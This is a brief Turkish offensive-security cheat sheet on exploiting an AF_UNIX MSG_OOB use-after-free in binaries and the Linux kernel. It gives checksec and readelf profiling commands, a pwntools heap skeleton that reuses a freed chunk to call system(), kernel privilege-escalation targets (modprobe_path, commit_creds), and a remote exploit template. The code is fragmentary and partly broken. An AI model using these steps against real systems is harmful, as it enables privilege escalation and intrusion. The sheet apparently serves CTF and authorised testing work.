Af Unix Msg Oob Uaf Skb Primitives
binexp offensive
Af Unix Msg Oob Uaf Skb Primitives bellek güvenliği istismarı notudur. Protections ölç, primitif kur, kontrol akışını ele geçir.
Metodoloji
Section titled “Metodoloji”-
checksec + mimari + crash yüzeyini çıkar.
-
Leak veya write primitifini kur.
-
ROP/hook/AW2E ile kontrol akışı al.
-
Shell veya flag’i stabilize et.
Binary profil
Section titled “Binary profil”file ./vulnchecksec --file=./vulnpwn checksec ./vulnreadelf -l ./vuln | rg -i 'gnu_stack|interp'readelf -S ./vuln | rg -i 'got|plt|bss|fini'gdb -q ./vulnHeap primitif
Section titled “Heap primitif”echo "gdb/pwndbg: heap / bins / chunks"from pwn import *p=process('./vuln')def alloc(sz,data=b'A'): p.sendlineafter(b'>', b'1'); p.sendlineafter(b':', str(sz).encode()); p.sendafter(b':', data)def free(idx): p.sendlineafter(b'>', b'2'); p.sendlineafter(b':', str(idx).encode())alloc(0x28,b"A"); free(0); alloc(0x28,p64(system)); call(0)dangling pointer → function ptr / fd overwriteKernel yüzeyi
Section titled “Kernel yüzeyi”uname -acat /proc/versioniddmesg | tail -50UAF/OOB → RW → modprobe_path / commit_credsPrivesc
Section titled “Privesc”cat /proc/kallsyms | rg -i "commit_creds|modprobe_path" | headgcc -O2 exploit.c -o exp -static && ./expExploit iskeleti
Section titled “Exploit iskeleti”from pwn import *context.binary=ell=ELF('./vuln')p=process('./vuln')# p=remote('TARGET',1337)# leak → calc → write → controlp.interactive()python3 exploit.pyChecklist
Section titled “Checklist”[ ] fingerprint / profil alındı[ ] primitif veya erişim doğrulandı[ ] PoC etkiyi gösterdi[ ] kanıt paketlendi[ ] sonraki pivot not edildi